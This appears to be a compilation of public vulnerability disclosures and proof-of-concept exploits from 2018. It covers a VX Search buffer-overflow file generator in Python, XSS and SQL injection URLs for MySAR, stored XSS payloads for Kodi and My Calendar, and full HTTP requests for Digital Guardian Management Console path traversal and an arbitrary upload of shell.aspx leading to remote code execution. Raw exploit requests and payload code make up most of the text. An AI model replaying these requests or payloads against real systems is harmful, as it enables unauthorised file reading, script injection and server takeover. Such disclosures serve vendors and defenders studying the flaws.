VX Search 10.6.18 Local Buffer Overflow

#!/usr/bin/python
# Title: VX Search 10.6.18 Local Buffer Overflow
# Author: Kevin McGuigan
# Twitter: @_h3xagram
# Author Website: https://www.7elements.co.uk
# Vendor Website: http://www.vxsearch.com
# Version: 10.6.18
# Date: 18/04/2018
# Tested on: Windows 7 32-bit
# Vendor did not respond to advisory.

# Copy the contents of vxsearchpoc.txt, click the Server icon and paste into the directory field.

filename="vxsearchPOC.txt"
junk = "A"*271
#0x652c2a1a : "jmp esp" | asciiprint,ascii {PAGE_READONLY}[QtGui4.dll] ASLR: False, Rebase: False, SafeSEH: False, OS:False, v4.3.4.0 (C:\Program Files\VX SearchServer\bin\QtGui4.dll)
#eip="\x1a\x2a\x2c\x65"
eip = "B" * 4
fill = "C" *900
buffer = junk + eip + fill
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

MySQL Squid Access Report 2.1.4 Cross Site Scripting / SQL Injection

# Exploit Title: MySQL Squid Access Report 2.1.4 Multiple Vulnerabilities
# Date: 14-13-2018
# Software Link: https://sourceforge.net/projects/mysar/
# Exploit Author: Keerati T.
# Version: 2.1.4
# Tested on: Linux

1. Description
SQL injection and Cross site script vulnerabilities are found on ALL
parameter of MySAR.

2. Proof of Concept
FOR EXAMPLE
- SQL injection
http://server/mysar/index.php?a=IPSummary&date=[SQLi]
-XSS
http://server/mysar/index.php?a=IPSummary&date=2018-04-14
"><script>alert(1)</script>

3. Timeline
8-3-2018 - Report on their Github. (
https://github.com/coffnix/mysar-ng/issues/12)
-- 1 month later, no any response from vendor. --
14-4-2018 - Public.

Kodi 17.6 Cross Site Scripting

=============================================
MGC ALERT 2018-003
– Original release date: March 19, 2018
– Last revised: April 16, 2018
– Discovered by: Manuel Garcia Cardenas
– Severity: 4,8/10 (CVSS Base Score)
– CVE-ID: CVE-2018-8831
=============================================

I. VULNERABILITY
————————-
Kodi <= 17.6 – Persistent Cross-Site Scripting

II. BACKGROUND
————————-
Kodi (formerly XBMC) is a free and open-source media player software
application developed by the XBMC Foundation, a non-profit technology
consortium. Kodi is available for multiple operating systems and hardware
platforms, with a software 10-foot user interface for use with televisions
and remote controls.

III. DESCRIPTION
————————-
Has been detected a Persistent XSS vulnerability in the web interface of
Kodi, that allows the execution of arbitrary HTML/script code to be
executed in the context of the victim user’s browser.

IV. PROOF OF CONCEPT
————————-
Go to: Playlist -> Create

Create a playlist injecting javascript code:

<img src=x onerror=alert(1)>

The XSS is executed, in the victim browser.

V. BUSINESS IMPACT
————————-
An attacker can execute arbitrary HTML or script code in a targeted user’s
browser, this can leverage to steal sensitive information as user
credentials, personal data, etc.

VI. SYSTEMS AFFECTED
————————-
Kodi <= 17.6

VII. SOLUTION
————————-
Vendor include the fix:
https://trac.kodi.tv/ticket/17814

VIII. REFERENCES
————————-
https://kodi.tv/

IX. CREDITS
————————-
This vulnerability has been discovered and reported
by Manuel Garcia Cardenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
————————-
March 19, 2018 1: Initial release
April 16, 2018 2: Last revision

XI. DISCLOSURE TIMELINE
————————-
March 19, 2018 1: Vulnerability acquired by Manuel Garcia Cardenas
March 19, 2018 2: Send to vendor
March 30, 2018 3: Vendo fix
April 16, 2018 4: Sent to lists

XII. LEGAL NOTICES
————————-
The information contained within this advisory is supplied “as-is” with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
————————-
Manuel Garcia Cardenas
Pentester

My Calendar 2.5.16 Cross Site Scripting

An authenticated user, who can add new events, can inject arbitrary javascript code via event_time_label input. The arbitrary code runs both on the event page and in the admin panel.

In my-calendar-event-manager.php, line 1873, the variable $eventTime is not sanitized.

Vulnerability is fixed in My Calendar 2.5.17.

Proof of Concept: https://www.gubello.me/blog/my-calendar-2-5-16-authenticated-stored-xss/
Video PoC: https://www.youtube.com/watch?v=OvoEiJd6ggY

Digital Guardian Management Console 7.1.2.0015 Arbitrary File Read

Title: Digital Guardian Managment Console – Arbitrary File Read Vulnerability
Author: Pawel Gocyla
Date: 18 April 2018
CVE: CVE-2018-10176

Affected software:
==================
Digital Guardian Managment Console Version 7.1.2.0015

Description :
=============
Digital Guardian is an American data loss prevention software company which provides software both at the end-user level and in corporate networks, servers, databases, and the cloud. Digital Guardian is designed to see and stop malicious actions by users and malware on endpoints. It puts data events into context and applies a granular set of rules to protect it against threats.

The company holds 20 patents for its technology.Its customers include about 300 Global 2000 companies, as well as seven of the 10 largest brands in the world. It is considered to be a leader in the global data loss prevention market.

Vulnerability:
**************
It has beed discovered that a file read capality allows to read any files in any location on the server, depending of the file permissions are set.
File read capability does not filtring extension of file names, which allows attackers to read files in the document root such as sources of the aplication.

Arbitrary File Read:
====================
Vulnerable parameter: “name”

Request:
————————
GET /DigitalGuardian/PopUps/PDFTemplatePreview.aspx?name=../../../web.config HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://[host]/DigitalGuardian/Management/Configuration.aspx
Accept-Language: en-GB
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: [host]
Cookie: ASP.NET_SessionId=jksed11b5nquipeag3421vga; DGAuthToken=e965cf57-4f86-4f18-bdd0-96c4298054b0; MRUDomain=00000000-0000-0000-0000-000000000002; .DGMCASPXAUTH=E316AD346099DE88015775D3FF75D11B9768E320385443CEC388374D41EB913C638C64F41EE20655E1AF1EAA4F950ACB8EE4768F5FF6AB368C80CBD39F52197FC83CAD35C3B137B88754CC16F2C275299222CDD6FB5605C05D0DC91D14C43AA6EBFABBA57BB30F99AFB80E12D49D678D7917DF57F87F458F72DBE9C6F656E1879531ED1FBFF478F2D3B7FEC2770B12AB4946D402FE5D84E8AB5E8B5D1D9DA8CA6E6226C417CBCEC065D198A6B2969C02F12DBF13B0DD4FD4C78B8C9BBE119AE57866C0A351FEDA5B4E7FBC6D48D80FF392449ED9007384D06EF20EF0BB18ACC50147E3E7B81E1F91BEB5129E880B30B7369D81717A82412BE52B0175F219BFFAD8CF591233766AB54C0C7DCFBAF5C4FAF30D892D8F0250505B14E24CCDC05B8B401FF4F0A4502A5C78AF34D8F0672F051BF883834AA636963487C70F38646ACEE3F1199C5642AA28CFD175A62069751BD16929277A2C081EFAE093C612795ABA96CFAF5434283A98BC6EBF1543D3372F387DDC24A7D6220E4828C74CFC996B2CB7592301A11D9F67641591EFC454FFBEC96FA968E8D6A40F0A263527DE5667D99B4DA00FD12C4DE72CC3AAAF453C121E8BB89633F5B01C36E8AEDE9CD272CEC4020A84C4A7851F90FCC5BC7A7AB8F2DBE577BDD7A61F16D19AC341B7D10151C27FC15EE16DC4D0BEE4204CD9FE919683F8AD40DA8C22D4C88A9DAA9C6F7D78ED
Connection: close
————————

Contact:
========
pawellgocyla[at]gmail[dot]com

Digital Guardian Management Console 7.1.2.0015 Shell Upload

Title: Digital Guardian Managment Console – Arbitrary File Upload Leading To Remote Code Execution (RCE) Vulnerability
Author: Pawel Gocyla
Date: 18 April 2018
CVE: CVE-2018-10173

Affected software:
==================
Digital Guardian Managment Console Version 7.1.2.0015

Description:
============
Digital Guardian is an American data loss prevention software company which provides software both at the end-user level and in corporate networks, servers, databases, and the cloud. Digital Guardian is designed to see and stop malicious actions by users and malware on endpoints. It puts data events into context and applies a granular set of rules to protect it against threats.

The company holds 20 patents for its technology.Its customers include about 300 Global 2000 companies, as well as seven of the 10 largest brands in the world. It is considered to be a leader in the global data loss prevention market.

Vulnerability:
**************
Arbitrary File Upload occurs when an application allows for file uploading and does not properly check user’s input. This way an attacker can upload any file and take advantage of it by reading application source code, defacing website or executing system commands on underling operating system.

Arbitrary File Upload:
======================

1).

Vulnerable parameter: “filename”

Request to upload malicious code:

POST /DigitalGuardian/Management/ServerSettingsPDFTemplates.aspx HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://[host]/DigitalGuardian/Management/ServerSettingsPDFTemplates.aspx
Accept-Language: en-GB
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Type: multipart/form-data; boundary=—————————7e030201090ea4
Accept-Encoding: gzip, deflate
Host: [host]
Content-Length: 1247
Pragma: no-cache
Cookie: ASP.NET_SessionId=jksed11b5nquipeag3421vga; DGAuthToken=a24e5397-f562-4141-a9bc-14bc83a43e6e; MRUDomain=00000000-0000-0000-0000-000000000002; .DGMCASPXAUTH=4C22880F00715AE00D61761AE4EC2090041F9659BF6980DAC5D496F499E1D1F626764AD3AEE7ED380D7F3EEEC3E140B01FC069913B5189C1794BA4A28883D300A25228AE458C1D5C8F77221FDC84B86E443189B3AFA25AC0D1BA54BD39D92F3D8627ED536A5ABC1E1BAC680543A9114E8ABF173B5E4D47343FC277E6D59DF34FD9520B2F2EBC9FCC176C432435DA387D2FAC7C4432E4D319E068BFE8CC7CBA9EEF9F06C6A84CB00C695C8CA37FBB3D234BD1022750EDBAAF1AEF1A1FCAA84B57D61AD89410D1C49B5ABB9AD4700E1DBDCAA4C10AF0F9A96F52243EBEB5625FF22EF67EB5F59FA14D5E4E01F680490B8D6374E81F1E93EAD11FA68C5F39DAB49F7A6E906274457F2584B83B1ACF5294A3A761F720B9004E893AA9D2ECAF33146494CC27CBD404E37ECE4B314D99D1F7045C102093B3FB28495B41FB57AC43BCF8A5B732CC834B85041C20A2DC9A4330DCD5559BABA13EB45611F56D28DEDFA7C1EC8E6149A2E91704E35DFBAA7A0F540D0D9BB64F703CF622EEEB3FEBDBBE91E04E270126A892533BF1753BAF86B610FE38C2ADC1322CC60C8B6A8AEB9A3EFB84D6075C906BB726CC19587F1255F929ADB833A7C9E10031AEC9F745F135D7FF8DE22B648A5D02C6710F41B04004EA3D1A52D70D8D98365D7B009E285EA176D21BC90E6703D9761D661848370FDD03B4C5D0ACC75B60E2217E142807EF156A9A01
Connection: close

—————————–7e030201090ea4
Content-Disposition: form-data; name=”__EVENTTARGET”

—————————–7e030201090ea4
Content-Disposition: form-data; name=”__EVENTARGUMENT”

—————————–7e030201090ea4
Content-Disposition: form-data; name=”__VIEWSTATE”

/wEPDwUKLTg1OTI3ODgyMQ9kFgRmD2QWAgIFDxUCCkNvbnRlbnREaXYIVGl0bGVEaXZkAgEPFgIeDGF1dG9jb21wbGV0ZQUDb2ZmFgICAw9kFgICDQ8PFgIeB1Zpc2libGVoZGRkiUrnvCnqq4KkB3GBwvkfB0YkaZYat00hQx6GFuUUjD4=
—————————–7e030201090ea4
Content-Disposition: form-data; name=”__VIEWSTATEGENERATOR”

B43AFC25
—————————–7e030201090ea4
Content-Disposition: form-data; name=”inputFilePath”; filename=”shell.aspx”
Content-Type: image/x-png

[asp shell code]
—————————–7e030201090ea4
Content-Disposition: form-data; name=”btnImport”

Import Image
—————————–7e030201090ea4–

URL to execute system commands:

http://[host]/DigitalGuardian/resources/images/pdf/shell.aspx

2).

Vulnerable parameter: “filename”

Request to upload malicious code:

POST /DigitalGuardian/Policies/PromptSkin.aspx?ConfigType=2&skinId=26cbb147-3956-4c58-b11e-360fc9dbc6a2 HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://[host]/DigitalGuardian/Policies/PromptSkin.aspx?ConfigType=2&skinId=26cbb147-3956-4c58-b11e-360fc9dbc6a2
Accept-Language: en-GB
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Type: multipart/form-data; boundary=—————————7e0127125a1bd0
Accept-Encoding: gzip, deflate
Host: [host]
Content-Length: 13275
Pragma: no-cache
Cookie: MRUDomain=00000000-0000-0000-0000-000000000002; ASP.NET_SessionId=ohi1m4lrljgcmkkazyst30lp; DGAuthToken=7f2fb432-4752-4c67-9201-d7d7a7026d26; .DGMCASPXAUTH=034026F59EE29438124E8DFDEB792408137961C2D3421F30801EBD551D57B0B4FF1525582742947494F8032987BC895521343BF5D5F04782F6951F23EFD6450059931E461BA6630A33C41B3E3B309421DD63E13733444A68E89C5DA67D7AFEC1FD6915168F2D21D56717D4258F4B188BE5412564C9FE4B37641C9483E30549ADFCD5867206A015BE2B0E9DD3C38C49E70B749280925E552A49C0C5BF6B1849BE5C035A96C2C2BE3174BDD7B5CB6183341E39CD6D208E66D8BD6AA9440E03DA4DC56095A7D4F6D2D71831033D2620B19C4C9CC0255DB198A4E2B555008BA0045C078BFC5C5582F9684D1B36314E8F046A17F2B9F90DEFA66E6E6077434B837A09AFB86C0A9B08ADB09DFA061C38EE8C8C88BB0FF93AEBA2939DA4333785B3E5D88CDF258CC0ED6D596A486B0EB6579A4D7D4BF669123110CA2D877E1D993D080C800A0AF6B3EFD147B7DB38C956C281EEAD6C8FD83819C05518069C30D9768398E915B98B8944BE1E56382DE63DF3C13CC0AFE5F157D353F5442F4E86541EB5D4262BFBDA180B1EDFA272A07633CA8EFDB6DDF2476802B69ADB016FAA086570B54C60E6462A73C5AC5729EB6A24DAE137E99843C4432E5ED9FCA90A54AF59A8DDCEE9855BAE5AEF95CDAA2C1ED949E798C50510A95D8719E6BE348575AC4893870828883E4AB23F434DF982B972AA4468BF39AE15BE98DBA1C9ECA00E8B94D1AD
Connection: close

—————————–7e0127125a1bd0
Content-Disposition: form-data; name=”__EVENTTARGET”

—————————–7e0127125a1bd0
Content-Disposition: form-data; name=”__EVENTARGUMENT”

—————————–7e0127125a1bd0
Content-Disposition: form-data; name=”__LASTFOCUS”

—————————–7e0127125a1bd0
Content-Disposition: form-data; name=”__VIEWSTATE”

/wEPDwUJNzkwOTIwNTQ3D2QWBGYPZBYCAgcPFQIKQ29udGVudERpdg5HcmlkRG9ja1N1YkRpdmQCAQ8WBB4MYXV0b2NvbXBsZXRlBQNvZmYeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGEWBAIBD2QWAgIBDw8WAh4EVGV4dAUaUHJvbXB0IFNraW4gLSBEZWZhdWx0IFNraW5kZAIDD2QWKAIHDw8WCB4GX1dpZHRoGwAAAAAAIGxAAQAAAB4FX1RleHQFDERlZmF1bHQgU2tpbh4JX1JlYWRPbmx5aB4HX0hlaWdodBxkFgRmD2QWAgIBDw8WCh4FV2lkdGgbAAAAAAAgbEABAAAAHwIFDERlZmF1bHQgU2tpbh4GSGVpZ2h0HB4ETW9kZQsqJVN5c3RlbS5XZWIuVUkuV2ViQ29udHJvbHMuVGV4dEJveE1vZGUAHgRfIVNCAoADZGQCAg9kFgICAQ8PFgIfAgUMRGVmYXVsdCBTa2luZGQCCQ9kFgICAQ8PFgIeB1Zpc2libGVoZGQCDQ8QDxYCHgtfIURhdGFCb3VuZGcWAh4Ib25jaGFuZ2UFEmJOYXZpZ2F0aW5nPWZhbHNlOw8WAmYCARYCEAUGUGl4ZWxzBQEwZxAFEVBlcmNlbnQgb2YgU2NyZWVuBQExZxYBZmQCDw8PFgQfAgUGUGl4ZWxzHwtoZGQCEw9kFgJmDw9kFgIeBXN0eWxlBRhmbG9hdDpsZWZ0O21hcmdpbi10b3A6MDsWDgIBDw8WCh8CBQM1NTAeCU1heExlbmd0aAIEHwcbAAAAAAAATkABAAAAHhBDYXVzZXNWYWxpZGF0aW9uZx8KAoACZGQCAw8WAh4Hb25jbGljawVLYk5hdmlnYXRpbmc9ZmFsc2U7X0luY3JlbWVudFNwaW4oMSwndHh0V2lkdGhQaXhlbF9TcGluVGV4dEJveCcsMTAsMTUwLDIwMDApZAIFDxYCHxEFTGJOYXZpZ2F0aW5nPWZhbHNlO19JbmNyZW1lbnRTcGluKC0xLCd0eHRXaWR0aFBpeGVsX1NwaW5UZXh0Qm94JywxMCwxNTAsMjAwMClkAgcPDxYCHwtnZBYCAgEPDxYCHwIFCHBpeGVsKHMpZGQCCQ9kFgICAQ8QDxYCHwxnZGQWAGQCCw8PFgIfC2dkFgQCAQ8PFgIeB0Rpc3Bs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bzt3aWR0aDoyMjVweDtoZWlnaHQ6NTBweDsWAgIBDw8WAh8CBQxEZWZhdWx0IFNraW5kZAIlDw8WAh8LaGQWBAIDDxAPFgIfDGdkEBUBEERlZmF1bHQgKFRpZXIgMCkVASQwMDAwMDAwMC0wMDAwLTAwMDAtMDAwMC0wMDAwMDAwMDAwMDEUKwMBZxYBZmQCBQ8PFgQfAgUQRGVmYXVsdCAoVGllciAwKR8LaGRkAikPDxYIHghDc3NDbGFzcwUIZ3JpZFRleHQfAgWVCTxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCjxoZWFkPg0KCTx0aXRsZT48L3RpdGxlPg0KCTxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sO2NoYXJzZXQ9VVRGLTgiIC8+DQoJPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCgkJYm9keXsNCgkJCXBhZGRpbmc6IDAgMTBweDsNCgkJCW1hcmdpbjogMDsNCgkJCW92ZXJmbG93OiBoaWRkZW47DQoJCQliYWNrZ3JvdW5kLWNvbG9yOiAjMWUzNTRCOw0KCQl9DQoJCS5tZXNzYWdlew0KCQkJdGV4dC1hbGlnbjogY2VudGVyOw0KCQkJdmVydGljYWwtYWxpZ246IG1pZGRsZTsNCgkJCWhlaWdodDogMTAwJTsNCgkJCXdpZHRoOiAxMDAlOw0KCQkJY29sb3I6ICMxZTM1NEI7DQoJCQlmb250LWZhbWlseTogVWJ1bnR1LEhlbHZldGljYSxzYW5zLXNlcmlmOw0KCQkJZm9udC1zaXplOiAxNnB4Ow0KCQkJZm9udC13ZWlnaHQ6IGJvbGQ7DQoJCX0NCgk8L3N0eWxlPg0KCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCgk8IS0tDQoJCS8vIERpc2FibGUgcmlnaHQtY2xpY2sgbWVudS4NCgkJZG9jdW1lbnQub25jb250ZXh0bWVudSA9IGZ1bmN0aW9uICgpIHsNCgkJCXJldHVybiBmYWxzZTsNCgkJfTsNCgkvLy0tPg0KCTwvc2NyaXB0Pg0KPC9oZWFkPg0KPGJvZHk+DQoJPGRpdj4NCgkJPGltZyBzcmM9ImFnZW50cy1ibHVlLnBuZyIgYm9yZGVyPSIwIiBhbHQ9IiIgLz4NCgk8L2Rpdj4NCgk8ZGl2IHN0eWxlPSJwYWRkaW5nLXRvcDoxMHB4OyI+DQoJCTxkaXYgc3R5bGU9InBhZGRpbmc6MTBweDttYXJnaW46MCAxMHB4O3RleHQtYWxpZ246Y2VudGVyO2JhY2tncm91bmQtY29sb3I6I0YxRjNGNDsiPg0KCQkJPHRhYmxlIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgYm9yZGVyPSIwIiBhbGlnbj0iY2VudGVyIj4NCgkJCQk8dHI+DQoJCQkJCTx0ZCBjbGFzcz0ibWVzc2FnZSI+DQoJCQkJCQk8TUVTU0FHRS8+DQoJCQkJCTwvdGQ+DQoJCQkJPC90cj4NCgkJCTwvdGFibGU+DQoJCTwvZGl2Pg0KCTwvZGl2Pg0KCTxkaXYgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlO2JvdHRvbToxMHB4O3JpZ2h0OjIwcHg7Ij4NCgkJPGltZyBzcmM9ImRnLWxvZ28ucG5nIiBib3JkZXI9IjAiIGFsdD0iIiAvPg0KCTwvZGl2Pg0KPC9ib2R5Pg0KPC9odG1sPh4IUmVhZE9ubHloHwoCAmRkAjEPDxYCHwtoZGQCMw9kFgQCAw8PZBYCHxEFEmJOYXZpZ2F0aW5nPWZhbHNlO2QCBQ9kFgICAQ8PZBYCHxEFEmJOYXZpZ2F0aW5nPWZhbHNlO2QCNQ88KwALAgAPFggeCVBhZ2VDb3VudAIBHghEYXRhS2V5cxYIBSQyNkNCQjE0Ny0zOTU2LTRDNTgtQjExRS0zNjBGQzlEQkM2QTIFJDI2Q0JCMTQ3LTM5NTYtNEM1OC1CMTFFLTM2MEZDOURCQzZBMgUkMjZDQkIxNDctMzk1Ni00QzU4LUIxMUUtMzYwRkM5REJDNkEyBSQyNkNCQjE0Ny0zOTU2LTRDNTgtQjExRS0zNjBGQzlEQkM2QTIFJDI2Q0JCMTQ3LTM5NTYtNEM1OC1CMTFFLTM2MEZDOURCQzZBMgUkMjZDQkIxNDctMzk1Ni00QzU4LUIxMUUtMzYwRkM5REJDNkEyBSQyNkNCQjE0Ny0zOTU2LTRDNTgtQjExRS0zNjBGQzlEQkM2QTIFJDI2Q0JCMTQ3LTM5NTYtNEM1OC1CMTFFLTM2MEZDOURCQzZBMh4LXyFJdGVtQ291bnQCCB4VXyFEYXRhU291cmNlSXRlbUNvdW50AghkARQrAAM8KwAEAQAWAh8LZ2RkFgJmD2QWEAIBD2QWBAIBDw8WAh8CBSQ0QzM0OUYxQy01MzE2LTRCREUtQTA3MS01QjdBQ0JEQUFGNDJkZAICD2QWAgIBDw8WAh8CBQ9hZ2VudHMtYmx1ZS5wbmdkZAICD2QWBAIBDw8WAh8CBSRCODU4OTE0OS01RDQ4LTQ3NDYtOTdFNS05MTUzOTAwRkIzQzFkZAICD2QWAgIBDw8WAh8CBQtkZy1sb2dvLnBuZ2RkAgMPZBYEAgEPDxYCHwIFJDA4MzRFQTA0LThGNzItNDFDMS04RUE4LUFFOEQzMDAzQTM5QWRkAgIPZBYCAgEPDxYCHwIFCElORzIucG5nZGQCBA9kFgQCAQ8PFgIfAgUkQjQwRjQ0RDMtMUFBQi00OTM4LThBQjQtMDcyQUU2QTQ2QkY3ZGQCAg9kFgICAQ8PFgIfAgUJaW5uZXIucG5nZGQCBQ9kFgQCAQ8PFgIfAgUkMUFBRDNDMzItNzc3Ni00NTc2LUJBQzMtQkNDMjYxODQzNUNEZGQCAg9kFgICAQ8PFgIfAgUJb3V0ZXIucG5nZGQCBg9kFgQCAQ8PFgIfAgUkQTQ0QUMxOUEtNDRFQy00MzQ3LUE2MzMtNTQ1ODdGNkRCNEQxZGQCAg9kFgICAQ8PFgIfAgUQcHJvbXB0aGVhZGVyLnBuZ2RkAgcPZBYEAgEPDxYCHwIFJDQwQzNGQzBDLTI0QjYtNDA4Ni05OUEwLUEwMjBDM0E2MTYwNmRkAgIPZBYCAgEPDxYCHwIFCXRlc3QyLmpwZ2RkAggPZBYEAgEPDxYCHwIFJDAxMTQxQjg1LUM3RTktNDk5Ri1BMkU4LTcyMEI5OEUzMDhFNGRkAgIPZBYCAgEPDxYCHwIFDHZlcmRhc3lzLnBuZ2RkAjcPDxYCHwtoZGQCOQ9kFgQCAQ8PZBYCHxEFEmJOYXZpZ2F0aW5nPWZhbHNlO2QCAw8PZBYCHxEFEmJOYXZpZ2F0aW5nPWZhbHNlO2QCOw8PFgIfC2hkFgICAw8PZBYCHxEF7wJ3aW5kb3cudG9wLkhpZGVNZXNzYWdlUGFuZWwoKTtyZXR1cm4gd2luZG93LnRvcC5TaG93RGlhbG9nU3VibWl0KHdpbmRvdy5ldmVudCwnL0RpZ2l0YWxHdWFyZGlhbi9Qb3BVcHMvUHJvbXB0UHJldmlldy5hc3B4P3ByZXZpZXdUeXBlPTEmcHJvbXB0aWQ9MDAwMDAwMDAtMDAwMC0wMDAwLTAwMDAtMDAwMDAwMDAwMDAyJnNraW5pZD0yNmNiYjE0Ny0zOTU2LTRjNTgtYjExZS0zNjBmYzlkYmM2YTImbG9jYWxlPWVuLVVTJmQ9ekI4SlVadWoyJTJieG1SYm9yaHIlMmJPajhPMUl1NiUyYjNNZlRYYmttblgwS3VEVSUzZCcsJ1ZlcmRhc3lzLEluYy4nLDMzOSw1NTAsJ3RydWUnLCcnLHdpbmRvdy5wYXJlbnQuZG9jdW1lbnQuYWN0aXZlRWxlbWVudCk7ZAI9D2QWAgIFDzwrAAsBAA8WCB8YAgEfGRYGBSQwMDAwMDAwMC0wMDAwLTAwMDAtMDAwMC0wMDAwMDAwMDAwMDIFJDAwMDAwMDAwLTAwMDAtMDAwMC0wMDAwLTAwMDAwMDAwMDAwNQUkMDAwMDAwMDAtMDAwMC0wMDAwLTAwMDAtMDAwMDAwMDAwMDA2BSQwMDAwMDAwMC0wMDAwLTAwMDAtMDAwMC0wMDAwMDAwMDAwMDcFJDAwMDAwMDAwLTAwMDAtMDAwMC0wMDAwLTAwMDAwMDAwMDAwNAUkMDAwMDAwMDAtMDAwMC0wMDAwLTAwMDAtMDAwMDAwMDAwMDAzHxoCBh8bAgZkFgJmD2QWDAIBD2QWCGYPZBYCAgEPDxYEHwIFDURFRkFVTFQgQkxPQ0seD0NvbW1hbmRBcmd1bWVudAUoMDAwMDAwMDAtMDAwMC0wMDAwLTAwMDAtMDAwMDAwMDAwMDAyLDEsMWRkAgEPZBYCAgEPDxYCHwIFBUJsb2NrZGQCAg9kFgICAQ8PFgIfAgU6VXNlciBpcyBwcmVzZW50ZWQgd2l0aCBhIHByb21wdCBhbmQgdGhlIGFjdGlvbiBpcyBibG9ja2VkLmRkAgMPZBYCAgEPDxYCHwtoZGQCAg9kFghmD2QWAgIBDw8WBB8CBQ9ERUZBVUxUIEpVU1RJRlkfHAUoMDAwMDAwMDAtMDAwMC0wMDAw